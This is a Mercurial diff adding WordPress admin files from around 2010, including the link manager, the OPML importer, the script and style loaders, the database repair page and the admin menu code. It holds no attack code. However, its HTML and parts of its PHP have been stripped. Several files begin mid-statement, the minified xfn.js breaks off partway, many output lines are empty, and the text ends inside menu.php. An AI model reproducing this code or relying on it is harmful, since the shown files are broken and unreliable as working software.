google&&google.gears){return}var a=false;if("undefined"!=typeof GearsFactory){a=new GearsFactory()}else{try{a=new ActiveXObject("Gears.Factory");if(factory.getBuildInfo().indexOf("ie_mobile")!=-1){a.privateSetGlobalObject(this)}}catch(b){if(("undefined"!=typeof navigator.mimeTypes)&&navigator.mimeTypes["application/x-googlegears"]){a=document.createElement("object");a.style.display="none";a.width=0;a.height=0;a.type="application/x-googlegears";document.documentElement.appendChild(a)}}}if(!a){return}if("undefined"==typeof google){google={}}if(!google.gears){google.gears={factory:a}}})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/xfn.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/xfn.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,41 @@ +function GetElementsWithClassName(elementName, className) { + var allElements = document.getElementsByTagName(elementName), elemColl = new Array(), i; + for (i = 0; i < allElements.length; i++) { + if (allElements[i].className == className) { + elemColl[elemColl.length] = allElements[i]; + } + } + return elemColl; +} + +function meChecked() { + var undefined, eMe = document.getElementById('me'); + if (eMe == undefined) return false; + else return eMe.checked; +} + +function upit() { + var isMe = meChecked(), inputColl = GetElementsWithClassName('input', 'valinp'), results = document.getElementById('link_rel'), inputs = '', i; + for (i = 0; i < inputColl.length; i++) { + inputColl[i].disabled = isMe; + inputColl[i].parentNode.className = isMe ? 'disabled' : ''; + if (!isMe && inputColl[i].checked && inputColl[i].value != '') { + inputs += inputColl[i].value + ' '; + } + } + inputs = inputs.substr(0,inputs.length - 1); + if (isMe) inputs='me'; + results.value = inputs; + } + +function blurry() { + if (!document.getElementById) return; + + var aInputs = document.getElementsByTagName('input'), i; + + for ( i = 0; i < aInputs.length; i++) { + aInputs[i].onclick = aInputs[i].onkeyup = upit; + } +} + +addLoadEvent(blurry); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/xfn.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/xfn.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +function GetElementsWithClassName(a,c){var d=document.getElementsByTagName(a),e=new Array(),b;for(b=0;b \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/link-category.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/link-category.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,100 @@ +%s category: this is the default one"), $cat_name)); + + wp_delete_term($cat_ID, 'link_category', array('default' => $default_cat_id)); + + $location = 'edit-link-categories.php'; + if ( $referer = wp_get_original_referer() ) { + if ( false !== strpos($referer, 'edit-link-categories.php') ) + $location = $referer; + } + + $location = add_query_arg('message', 2, $location); + + wp_redirect($location); + exit; + +break; + +case 'edit': + $title = __('Edit Category'); + $parent_file = 'link-manager.php'; + $submenu_file = 'edit-link-categories.php'; + require_once ('admin-header.php'); + $cat_ID = (int) $_GET['cat_ID']; + $category = get_term_to_edit($cat_ID, 'link_category'); + include('edit-link-category-form.php'); + include('admin-footer.php'); + exit; +break; + +case 'editedcat': + $cat_ID = (int) $_POST['cat_ID']; + check_admin_referer('update-link-category_' . $cat_ID); + + if ( !current_user_can('manage_categories') ) + wp_die(__('Cheatin’ uh?')); + + $location = 'edit-link-categories.php'; + if ( $referer = wp_get_original_referer() ) { + if ( false !== strpos($referer, 'edit-link-categories.php') ) + $location = $referer; + } + + $update = wp_update_term($cat_ID, 'link_category', $_POST); + + if ( $update && !is_wp_error($update) ) + $location = add_query_arg('message', 3, $location); + else + $location = add_query_arg('message', 5, $location); + + wp_redirect($location); + exit; +break; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/link-manager.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/link-manager.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,278 @@ + + +
    + +

    ' . __('Search results for “%s”') . '', esc_html( stripslashes($_GET['s']) ) ); ?> +

    + +

    '; + $deleted = (int) $_GET['deleted']; + printf(_n('%s link deleted.', '%s links deleted', $deleted), $deleted); + echo '

    '; + $_SERVER['REQUEST_URI'] = remove_query_arg(array('deleted'), $_SERVER['REQUEST_URI']); +} +?> + +
    + +
    +
    + +
    +
    + +
    + + + +\n"; +$select_cat .= '\n"; +foreach ((array) $categories as $cat) + $select_cat .= '\n"; +$select_cat .= "\n"; + +$select_order = "\n"; + +echo $select_cat; +echo $select_order; + +?> + + +
    + +
    +
    + +
    + + $cat_id, 'hide_invisible' => 0, 'orderby' => $sqlorderby, 'hide_empty' => 0); +if ( !empty($_GET['s']) ) + $args['search'] = $_GET['s']; +$links = get_bookmarks( $args ); +if ( $links ) { + $link_columns = get_column_headers('link-manager'); + $hidden = get_hidden_columns('link-manager'); +?> + + + + + + + + + + + + + + + + +link_name = esc_attr($link->link_name); + $link->link_category = wp_get_link_cats($link->link_id); + $short_url = str_replace('http://', '', $link->link_url); + $short_url = preg_replace('/^www\./i', '', $short_url); + if ('/' == substr($short_url, -1)) + $short_url = substr($short_url, 0, -1); + if (strlen($short_url) > 35) + $short_url = substr($short_url, 0, 32).'...'; + $visible = ($link->link_visible == 'Y') ? __('Yes') : __('No'); + $rating = $link->link_rating; + $style = ($alt % 2) ? '' : ' class="alternate"'; + ++ $alt; + $edit_link = get_edit_bookmark_link(); + ?>>$column_display_name) { + $class = "class=\"column-$column_name\""; + + $style = ''; + if ( in_array($column_name, $hidden) ) + $style = ' style="display:none;"'; + + $attributes = "$class$style"; + + switch($column_name) { + case 'cb': + echo ''; + break; + case 'name': + + echo "'; + break; + case 'url': + echo ""; + break; + case 'categories': + ?> + + \n"; + } +?> + +
    + + +

    + + +
    + +
    + + +
    + +
    +
    + +
    + +
    + +
    + + 'link_url', + 'HTMLURL' => 'link_url', + 'TEXT' => 'link_name', + 'TITLE' => 'link_name', + 'TARGET' => 'link_target', + 'DESCRIPTION' => 'link_description', + 'XMLURL' => 'link_rss' +); + +$map = $opml_map; + +/** + * XML callback function for the start of a new XML tag. + * + * @since unknown + * @access private + * + * @uses $updated_timestamp Not used inside function. + * @uses $all_links Not used inside function. + * @uses $map Stores names of attributes to use. + * @global array $names + * @global array $urls + * @global array $targets + * @global array $descriptions + * @global array $feeds + * + * @param mixed $parser XML Parser resource. + * @param string $tagName XML element name. + * @param array $attrs XML element attributes. + */ +function startElement($parser, $tagName, $attrs) { + global $updated_timestamp, $all_links, $map; + global $names, $urls, $targets, $descriptions, $feeds; + + if ($tagName == 'OUTLINE') { + foreach (array_keys($map) as $key) { + if (isset($attrs[$key])) { + $$map[$key] = $attrs[$key]; + } + } + + //echo("got data: link_url = [$link_url], link_name = [$link_name], link_target = [$link_target], link_description = [$link_description]
    \n"); + + // save the data away. + $names[] = $link_name; + $urls[] = $link_url; + $targets[] = $link_target; + $feeds[] = $link_rss; + $descriptions[] = $link_description; + } // end if outline +} + +/** + * XML callback function that is called at the end of a XML tag. + * + * @since unknown + * @access private + * @package WordPress + * @subpackage Dummy + * + * @param mixed $parser XML Parser resource. + * @param string $tagName XML tag name. + */ +function endElement($parser, $tagName) { + // nothing to do. +} + +// Create an XML parser +$xml_parser = xml_parser_create(); + +// Set the functions to handle opening and closing tags +xml_set_element_handler($xml_parser, "startElement", "endElement"); + +if (!xml_parse($xml_parser, $opml, true)) { + echo(sprintf(__('XML error: %1$s at line %2$s'), + xml_error_string(xml_get_error_code($xml_parser)), + xml_get_current_line_number($xml_parser))); +} + +// Free up memory used by the XML parser +xml_parser_free($xml_parser); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/link.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/link.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,116 @@ +query("update $wpdb->links SET link_category='$category' WHERE link_id IN ($all_links)"); + + wp_redirect($this_file); + exit; + break; + + case 'add' : + check_admin_referer('add-bookmark'); + + add_link(); + + wp_redirect( wp_get_referer() . '?added=true' ); + exit; + break; + + case 'save' : + $link_id = (int) $_POST['link_id']; + check_admin_referer('update-bookmark_' . $link_id); + + edit_link($link_id); + + wp_redirect($this_file); + exit; + break; + + case 'delete' : + $link_id = (int) $_GET['link_id']; + check_admin_referer('delete-bookmark_' . $link_id); + + wp_delete_link($link_id); + + wp_redirect($this_file); + exit; + break; + + case 'edit' : + wp_enqueue_script('link'); + wp_enqueue_script('xfn'); + + $parent_file = 'link-manager.php'; + $submenu_file = 'link-manager.php'; + $title = __('Edit Link'); + + $link_id = (int) $_GET['link_id']; + + if (!$link = get_link_to_edit($link_id)) + wp_die(__('Link not found.')); + + include ('edit-link-form.php'); + include ('admin-footer.php'); + break; + + default : + break; +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/load-scripts.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/load-scripts.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,142 @@ +registered) ) + continue; + + $path = ABSPATH . $wp_scripts->registered[$handle]->src; + $out .= get_file($path) . "\n"; +} + +header('Content-Type: application/x-javascript; charset=UTF-8'); +header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT'); +header("Cache-Control: public, max-age=$expires_offset"); + +if ( $compress && ! ini_get('zlib.output_compression') && 'ob_gzhandler' != ini_get('output_handler') && isset($_SERVER['HTTP_ACCEPT_ENCODING']) ) { + header('Vary: Accept-Encoding'); // Handle proxies + if ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) { + header('Content-Encoding: deflate'); + $out = gzdeflate( $out, 3 ); + } elseif ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') && function_exists('gzencode') ) { + header('Content-Encoding: gzip'); + $out = gzencode( $out, 3 ); + } +} + +echo $out; +exit; diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/load-styles.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/load-styles.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,152 @@ +registered) ) + continue; + + $style = $wp_styles->registered[$handle]; + $path = ABSPATH . $style->src; + + $content = get_file($path) . "\n"; + + if ( $rtl && isset($style->extra['rtl']) && $style->extra['rtl'] ) { + $rtl_path = is_bool($style->extra['rtl']) ? str_replace( '.css', '-rtl.css', $path ) : ABSPATH . $style->extra['rtl']; + $content .= get_file($rtl_path) . "\n"; + } + + $out .= str_replace( '../images/', 'images/', $content ); +} + +header('Content-Type: text/css'); +header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT'); +header("Cache-Control: public, max-age=$expires_offset"); + +if ( $compress && ! ini_get('zlib.output_compression') && 'ob_gzhandler' != ini_get('output_handler') && isset($_SERVER['HTTP_ACCEPT_ENCODING']) ) { + header('Vary: Accept-Encoding'); // Handle proxies + if ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'deflate') && function_exists('gzdeflate') && ! $force_gzip ) { + header('Content-Encoding: deflate'); + $out = gzdeflate( $out, 3 ); + } elseif ( false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') && function_exists('gzencode') ) { + header('Content-Encoding: gzip'); + $out = gzencode( $out, 3 ); + } +} + +echo $out; +exit; diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/maint/repair.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/maint/repair.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,90 @@ + + +> + + + <?php _e('WordPress › Database Repair'); ?> + + + +

    WordPress

    + +To allow use of this page to automatically repair database problems, please add the following line to your wp-config.php file. Once this line is added to your config, reload this page.

    define('WP_ALLOW_REPAIR', true);"); +} elseif ( isset($_GET['repair']) ) { + $problems = array(); + check_admin_referer('repair_db'); + + if ( 2 == $_GET['repair'] ) + $optimize = true; + else + $optimize = false; + + $okay = true; + + // Loop over the WP tables, checking and repairing as needed. + foreach ($wpdb->tables as $table) { + if ( in_array($table, $wpdb->old_tables) ) + continue; + + $check = $wpdb->get_row("CHECK TABLE {$wpdb->prefix}$table"); + if ( 'OK' == $check->Msg_text ) { + echo "

    The {$wpdb->prefix}$table table is okay."; + } else { + echo "

    The {$wpdb->prefix}$table table is not okay. It is reporting the following error: $check->Msg_text. WordPress will attempt to repair this table…"; + $repair = $wpdb->get_row("REPAIR TABLE {$wpdb->prefix}$table"); + if ( 'OK' == $check->Msg_text ) { + echo "
        Sucessfully repaired the {$wpdb->prefix}$table table."; + } else { + echo "
        Failed to repair the {$wpdb->prefix}$table table. Error: $check->Msg_text
    "; + $problems["{$wpdb->prefix}$table"] = $check->Msg_text; + $okay = false; + } + } + if ( $okay && $optimize ) { + $check = $wpdb->get_row("ANALYZE TABLE {$wpdb->prefix}$table"); + if ( 'Table is already up to date' == $check->Msg_text ) { + echo "
        The {$wpdb->prefix}$table table is already optimized."; + } else { + $check = $wpdb->get_row("OPTIMIZE TABLE {$wpdb->prefix}$table"); + if ( 'OK' == $check->Msg_text || 'Table is already up to date' == $check->Msg_text ) + echo "
        Sucessfully optimized the {$wpdb->prefix}$table table."; + else + echo "
        Failed to optimize the {$wpdb->prefix}$table table. Error: $check->Msg_text"; + } + } + echo '

    '; + } + + if ( !empty($problems) ) { + printf(__('

    Some database problems could not be repaired. Please copy-and-paste the following list of errors to the WordPress support forums to get additional assistance.

    '), 'http://wordpress.org/support/forum/3'); + $problem_output = array(); + foreach ( $problems as $table => $problem ) + $problem_output[] = "$table: $problem"; + echo ''; + } else { + _e("

    Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.

    define('WP_ALLOW_REPAIR', true);"); + } +} else { + if ( isset($_GET['referrer']) && 'is_blog_installed' == $_GET['referrer'] ) + _e('One or more database tables is unavailable. To allow WordPress to attempt to repair these tables, press the "Repair Database" button. Repairing can take awhile, so please be patient.'); + else + _e('WordPress can automatically look for some common database problems and repair them. Repairing can take awhile, so please be patient.') +?> +

    + +

    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/media-new.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/media-new.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,14 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/media-upload.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/media-upload.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,113 @@ + +
    + +

    + +
    + + + + + + +
    +

    + +

    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/media.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/media.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,124 @@ +ID) ) wp_die( __('You attempted to edit an attachment that doesn’t exist. Perhaps it was deleted?') ); + if ( $att->post_status == 'trash' ) wp_die( __('You can’t edit this attachment because it is in the Trash. Please move it out of the Trash and try again.') ); + + add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2); + + wp_enqueue_script( 'wp-ajax-response' ); + wp_enqueue_script('image-edit'); + wp_enqueue_style('imgareaselect'); + + require( 'admin-header.php' ); + + $parent_file = 'upload.php'; + $message = ''; + $class = ''; + if ( isset($_GET['message']) ) { + switch ( $_GET['message'] ) : + case 'updated' : + $message = __('Media attachment updated.'); + $class = 'updated fade'; + break; + endswitch; + } + if ( $message ) + echo "

    $message

    \n"; + +?> + +
    + +

    + +
    +
    +
    + false, 'send' => false, 'delete' => false, 'show_title' => false, 'errors' => $errors ) ); ?> +
    +
    + +

    + + + + + + +

    +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/menu-header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/menu-header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,162 @@ + $item ) { + $admin_is_parent = false; + $class = array(); + if ( $first ) { + $class[] = 'wp-first-item'; + $first = false; + } + if ( !empty($submenu[$item[2]]) ) + $class[] = 'wp-has-submenu'; + + if ( ( $parent_file && $item[2] == $parent_file ) || strcmp($self, $item[2]) == 0 ) { + if ( !empty($submenu[$item[2]]) ) + $class[] = 'wp-has-current-submenu wp-menu-open'; + else + $class[] = 'current'; + } + + if ( isset($item[4]) && ! empty($item[4]) ) + $class[] = $item[4]; + + $class = $class ? ' class="' . join( ' ', $class ) . '"' : ''; + $tabindex = ' tabindex="1"'; + $id = isset($item[5]) && ! empty($item[5]) ? ' id="' . preg_replace( '|[^a-zA-Z0-9_:.]|', '-', $item[5] ) . '"' : ''; + $img = ''; + if ( isset($item[6]) && ! empty($item[6]) ) { + if ( 'div' === $item[6] ) + $img = '
    '; + else + $img = ''; + } + $toggle = ''; + + echo "\n\t"; + + if ( false !== strpos($class, 'wp-menu-separator') ) { + echo '
    '; + } elseif ( $submenu_as_parent && !empty($submenu[$item[2]]) ) { + $submenu[$item[2]] = array_values($submenu[$item[2]]); // Re-index. + $menu_hook = get_plugin_page_hook($submenu[$item[2]][0][2], $item[2]); + $menu_file = $submenu[$item[2]][0][2]; + if ( false !== $pos = strpos($menu_file, '?') ) + $menu_file = substr($menu_file, 0, $pos); + if ( ( ('index.php' != $submenu[$item[2]][0][2]) && file_exists(WP_PLUGIN_DIR . "/$menu_file") ) || !empty($menu_hook)) { + $admin_is_parent = true; + echo "$toggle{$item[0]}"; + } else { + echo "\n\t$toggle{$item[0]}"; + } + } else if ( current_user_can($item[1]) ) { + $menu_hook = get_plugin_page_hook($item[2], 'admin.php'); + $menu_file = $item[2]; + if ( false !== $pos = strpos($menu_file, '?') ) + $menu_file = substr($menu_file, 0, $pos); + if ( ('index.php' != $item[2]) && file_exists(WP_PLUGIN_DIR . "/$menu_file") || !empty($menu_hook) ) { + $admin_is_parent = true; + echo "\n\t$toggle{$item[0]}"; + } else { + echo "\n\t$toggle{$item[0]}"; + } + } + + if ( !empty($submenu[$item[2]]) ) { + echo "\n\t
    {$item[0]}
      "; + $first = true; + foreach ( $submenu[$item[2]] as $sub_key => $sub_item ) { + if ( !current_user_can($sub_item[1]) ) + continue; + + $class = array(); + if ( $first ) { + $class[] = 'wp-first-item'; + $first = false; + } + + $menu_file = $item[2]; + if ( false !== $pos = strpos($menu_file, '?') ) + $menu_file = substr($menu_file, 0, $pos); + + if ( isset($submenu_file) ) { + if ( $submenu_file == $sub_item[2] ) + $class[] = 'current'; + // If plugin_page is set the parent must either match the current page or not physically exist. + // This allows plugin pages with the same hook to exist under different parents. + } else if ( (isset($plugin_page) && $plugin_page == $sub_item[2] && (!file_exists($menu_file) || ($item[2] == $self))) || (!isset($plugin_page) && $self == $sub_item[2]) ) { + $class[] = 'current'; + } + + $class = $class ? ' class="' . join( ' ', $class ) . '"' : ''; + + $menu_hook = get_plugin_page_hook($sub_item[2], $item[2]); + $sub_file = $sub_item[2]; + if ( false !== $pos = strpos($sub_file, '?') ) + $sub_file = substr($sub_file, 0, $pos); + + if ( ( ('index.php' != $sub_item[2]) && file_exists(WP_PLUGIN_DIR . "/$sub_file") ) || ! empty($menu_hook) ) { + // If admin.php is the current page or if the parent exists as a file in the plugins or admin dir + + $parent_exists = (!$admin_is_parent && file_exists(WP_PLUGIN_DIR . "/$menu_file") && !is_dir(WP_PLUGIN_DIR . "/{$item[2]}") ) || file_exists($menu_file); + if ( $parent_exists ) + echo "{$sub_item[0]}"; + elseif ( 'admin.php' == $pagenow || !$parent_exists ) + echo "{$sub_item[0]}"; + else + echo "{$sub_item[0]}"; + } else { + echo "{$sub_item[0]}"; + } + } + echo "
    "; + } + echo ""; + } +} + +?> + +
      + + +
    diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/menu.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/menu.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,314 @@ +moderated; + +$menu[0] = array( __('Dashboard'), 'read', 'index.php', '', 'menu-top', 'menu-dashboard', 'div' ); + +$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' ); + +$menu[5] = array( __('Posts'), 'edit_posts', 'edit.php', '', 'open-if-no-js menu-top', 'menu-posts', 'div' ); + $submenu['edit.php'][5] = array( __('Edit'), 'edit_posts', 'edit.php' ); + /* translators: add new post */ + $submenu['edit.php'][10] = array( _x('Add New', 'post'), 'edit_posts', 'post-new.php' ); + + $i = 15; + foreach ( $wp_taxonomies as $tax ) { + if ( $tax->hierarchical || ! in_array('post', (array) $tax->object_type, true) ) + continue; + + $submenu['edit.php'][$i] = array( esc_attr($tax->label), 'manage_categories', 'edit-tags.php?taxonomy=' . $tax->name ); + ++$i; + } + + $submenu['edit.php'][50] = array( __('Categories'), 'manage_categories', 'categories.php' ); + +$menu[10] = array( __('Media'), 'upload_files', 'upload.php', '', 'menu-top', 'menu-media', 'div' ); + $submenu['upload.php'][5] = array( __('Library'), 'upload_files', 'upload.php'); + /* translators: add new file */ + $submenu['upload.php'][10] = array( _x('Add New', 'file'), 'upload_files', 'media-new.php'); + +$menu[15] = array( __('Links'), 'manage_links', 'link-manager.php', '', 'menu-top', 'menu-links', 'div' ); + $submenu['link-manager.php'][5] = array( __('Edit'), 'manage_links', 'link-manager.php' ); + /* translators: add new links */ + $submenu['link-manager.php'][10] = array( _x('Add New', 'links'), 'manage_links', 'link-add.php' ); + $submenu['link-manager.php'][15] = array( __('Link Categories'), 'manage_categories', 'edit-link-categories.php' ); + +$menu[20] = array( __('Pages'), 'edit_pages', 'edit-pages.php', '', 'menu-top', 'menu-pages', 'div' ); + $submenu['edit-pages.php'][5] = array( __('Edit'), 'edit_pages', 'edit-pages.php' ); + /* translators: add new page */ + $submenu['edit-pages.php'][10] = array( _x('Add New', 'page'), 'edit_pages', 'page-new.php' ); + +$menu[25] = array( sprintf( __('Comments %s'), "" . number_format_i18n($awaiting_mod) . "" ), 'edit_posts', 'edit-comments.php', '', 'menu-top', 'menu-comments', 'div' ); + +$_wp_last_object_menu = 25; // The index of the last top-level menu in the object menu group + +$menu[59] = array( '', 'read', 'separator2', '', 'wp-menu-separator' ); + +$menu[60] = array( __('Appearance'), 'switch_themes', 'themes.php', '', 'menu-top', 'menu-appearance', 'div' ); + $submenu['themes.php'][5] = array(__('Themes'), 'switch_themes', 'themes.php'); + $submenu['themes.php'][10] = array(__('Editor'), 'edit_themes', 'theme-editor.php'); + $submenu['themes.php'][15] = array(__('Add New Themes'), 'install_themes', 'theme-install.php'); + +$update_plugins = get_transient( 'update_plugins' ); +$update_count = 0; +if ( !empty($update_plugins->response) ) + $update_count = count( $update_plugins->response ); + +$menu[65] = array( sprintf( __('Plugins %s'), "" . number_format_i18n($update_count) . "" ), 'activate_plugins', 'plugins.php', '', 'menu-top', 'menu-plugins', 'div' ); + $submenu['plugins.php'][5] = array( __('Installed'), 'activate_plugins', 'plugins.php' ); + /* translators: add new plugin */ + $submenu['plugins.php'][10] = array(_x('Add New', 'plugin'), 'install_plugins', 'plugin-install.php'); + $submenu['plugins.php'][15] = array( __('Editor'), 'edit_plugins', 'plugin-editor.php' ); + +if ( current_user_can('edit_users') ) + $menu[70] = array( __('Users'), 'edit_users', 'users.php', '', 'menu-top', 'menu-users', 'div' ); +else + $menu[70] = array( __('Profile'), 'read', 'profile.php', '', 'menu-top', 'menu-users', 'div' ); + +if ( current_user_can('edit_users') ) { + $_wp_real_parent_file['profile.php'] = 'users.php'; // Back-compat for plugins adding submenus to profile.php. + $submenu['users.php'][5] = array(__('Authors & Users'), 'edit_users', 'users.php'); + $submenu['users.php'][10] = array(_x('Add New', 'user'), 'create_users', 'user-new.php'); + $submenu['users.php'][15] = array(__('Your Profile'), 'read', 'profile.php'); +} else { + $_wp_real_parent_file['users.php'] = 'profile.php'; + $submenu['profile.php'][5] = array(__('Your Profile'), 'read', 'profile.php'); +} + +$menu[75] = array( __('Tools'), 'read', 'tools.php', '', 'menu-top', 'menu-tools', 'div' ); + $submenu['tools.php'][5] = array( __('Tools'), 'read', 'tools.php' ); + $submenu['tools.php'][10] = array( __('Import'), 'import', 'import.php' ); + $submenu['tools.php'][15] = array( __('Export'), 'import', 'export.php' ); + $submenu['tools.php'][20] = array( __('Upgrade'), 'install_plugins', 'update-core.php'); + +$menu[80] = array( __('Settings'), 'manage_options', 'options-general.php', '', 'menu-top', 'menu-settings', 'div' ); + $submenu['options-general.php'][10] = array(__('General'), 'manage_options', 'options-general.php'); + $submenu['options-general.php'][15] = array(__('Writing'), 'manage_options', 'options-writing.php'); + $submenu['options-general.php'][20] = array(__('Reading'), 'manage_options', 'options-reading.php'); + $submenu['options-general.php'][25] = array(__('Discussion'), 'manage_options', 'options-discussion.php'); + $submenu['options-general.php'][30] = array(__('Media'), 'manage_options', 'options-media.php'); + $submenu['options-general.php'][35] = array(__('Privacy'), 'manage_options', 'options-privacy.php'); + $submenu['options-general.php'][40] = array(__('Permalinks'), 'manage_options', 'options-permalink.php'); + $submenu['options-general.php'][45] = array(__('Miscellaneous'), 'manage_options', 'options-misc.php'); + +$_wp_last_utility_menu = 80; // The index of the last top-level menu in the utility menu group + +$menu[99] = array( '', 'read', 'separator-last', '', 'wp-menu-separator-last' ); + +// Back-compat for old top-levels +$_wp_real_parent_file['post.php'] = 'edit.php'; +$_wp_real_parent_file['post-new.php'] = 'edit.php'; +$_wp_real_parent_file['page-new.php'] = 'edit-pages.php'; + +do_action('_admin_menu'); + +// Create list of page plugin hook names. +foreach ($menu as $menu_page) { + $hook_name = sanitize_title(basename($menu_page[2], '.php')); + + // ensure we're backwards compatible + $compat = array( + 'index' => 'dashboard', + 'edit' => 'posts', + 'upload' => 'media', + 'link-manager' => 'links', + 'edit-pages' => 'pages', + 'edit-comments' => 'comments', + 'options-general' => 'settings', + 'themes' => 'appearance', + ); + + if ( isset($compat[$hook_name]) ) + $hook_name = $compat[$hook_name]; + elseif ( !$hook_name ) + continue; + + $admin_page_hooks[$menu_page[2]] = $hook_name; +} + +$_wp_submenu_nopriv = array(); +$_wp_menu_nopriv = array(); +// Loop over submenus and remove pages for which the user does not have privs. +foreach ( array( 'submenu' ) as $sub_loop ) { + foreach ($$sub_loop as $parent => $sub) { + foreach ($sub as $index => $data) { + if ( ! current_user_can($data[1]) ) { + unset(${$sub_loop}[$parent][$index]); + $_wp_submenu_nopriv[$parent][$data[2]] = true; + } + } + + if ( empty(${$sub_loop}[$parent]) ) + unset(${$sub_loop}[$parent]); + } +} + +// Loop over the top-level menu. +// Menus for which the original parent is not acessible due to lack of privs will have the next +// submenu in line be assigned as the new menu parent. +foreach ( $menu as $id => $data ) { + if ( empty($submenu[$data[2]]) ) + continue; + $subs = $submenu[$data[2]]; + $first_sub = array_shift($subs); + $old_parent = $data[2]; + $new_parent = $first_sub[2]; + // If the first submenu is not the same as the assigned parent, + // make the first submenu the new parent. + if ( $new_parent != $old_parent ) { + $_wp_real_parent_file[$old_parent] = $new_parent; + $menu[$id][2] = $new_parent; + + foreach ($submenu[$old_parent] as $index => $data) { + $submenu[$new_parent][$index] = $submenu[$old_parent][$index]; + unset($submenu[$old_parent][$index]); + } + unset($submenu[$old_parent]); + + if ( isset($_wp_submenu_nopriv[$old_parent]) ) + $_wp_submenu_nopriv[$new_parent] = $_wp_submenu_nopriv[$old_parent]; + } +} + +do_action('admin_menu', ''); + +// Remove menus that have no accessible submenus and require privs that the user does not have. +// Run re-parent loop again. +foreach ( $menu as $id => $data ) { + if ( ! current_user_can($data[1]) ) + $_wp_menu_nopriv[$data[2]] = true; + + // If submenu is empty... + if ( empty($submenu[$data[2]]) ) { + // And user doesn't have privs, remove menu. + if ( isset( $_wp_menu_nopriv[$data[2]] ) ) { + unset($menu[$id]); + } + } +} + +// Remove any duplicated seperators +$seperator_found = false; +foreach ( $menu as $id => $data ) { + if ( 0 == strcmp('wp-menu-separator', $data[4] ) ) { + if (false == $seperator_found) { + $seperator_found = true; + } else { + unset($menu[$id]); + $seperator_found = false; + } + } else { + $seperator_found = false; + } +} + +unset($id); + +function add_cssclass($add, $class) { + $class = empty($class) ? $add : $class .= ' ' . $add; + return $class; +} + +function add_menu_classes($menu) { + + $first = $lastorder = false; + $i = 0; + $mc = count($menu); + foreach ( $menu as $order => $top ) { + $i++; + + if ( 0 == $order ) { // dashboard is always shown/single + $menu[0][4] = add_cssclass('menu-top-first', $top[4]); + $lastorder = 0; + continue; + } + + if ( 0 === strpos($top[2], 'separator') ) { // if separator + $first = true; + $c = $menu[$lastorder][4]; + $menu[$lastorder][4] = add_cssclass('menu-top-last', $c); + continue; + } + + if ( $first ) { + $c = $menu[$order][4]; + $menu[$order][4] = add_cssclass('menu-top-first', $c); + $first = false; + } + + if ( $mc == $i ) { // last item + $c = $menu[$order][4]; + $menu[$order][4] = add_cssclass('menu-top-last', $c); + } + + $lastorder = $order; + } + + return apply_filters( 'add_menu_classes', $menu ); +} + +uksort($menu, "strnatcasecmp"); // make it all pretty + +if ( apply_filters('custom_menu_order', false) ) { + $menu_order = array(); + foreach ( $menu as $menu_item ) { + $menu_order[] = $menu_item[2]; + } + unset($menu_item); + $default_menu_order = $menu_order; + $menu_order = apply_filters('menu_order', $menu_order); + $menu_order = array_flip($menu_order); + $default_menu_order = array_flip($default_menu_order); + + function sort_menu($a, $b) { + global $menu_order, $default_menu_order; + $a = 